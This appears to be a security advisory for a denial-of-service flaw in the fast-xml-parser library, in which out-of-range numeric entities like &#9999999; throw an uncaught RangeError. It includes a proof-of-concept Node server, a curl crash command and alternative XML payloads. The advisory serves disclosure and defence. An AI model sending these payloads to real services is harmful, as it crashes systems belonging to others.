Summary A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

javascript "numdec": { regex: /&#([0-9]{1,7});/g, val : (, str) => String.fromCodePoint(Number.parseInt(str, 10)) }, "numhex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this: - [0-9]{1,7} matches up to 9,999,999 - [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

javascript val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it. PoC Setup

Create a directory with these files:

poc/ ├── package.json ├── server.js

package.json json { "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js javascript const http = require('http'); const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/parse') { let body = ''; req.on('data', c => body += c); req.on('end', () => { const result = parser.parse(body); // No try-catch - will crash! res.end(JSON.stringify(result)); }); } else { res.end('POST /parse with XML body'); } }).listen(3000, () => console.log('http://localhost:3000'));

Run

bash Setup npm install

Terminal 1: Start server node server.js

Terminal 2: Send malicious payload (server will crash) curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse Result

Server crashes with: RangeError: Invalid code point 9999999

Alternative Payloads

xml <!-- Hex variant --> <?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute --> <?xml version="1.0"?><root attr="&#9999999;"/>

Impact Denial of Service (DoS): Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

- API servers accepting XML payloads - File processors parsing uploaded XML files - Message queues consuming XML messages - RSS/Atom feed parsers - SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.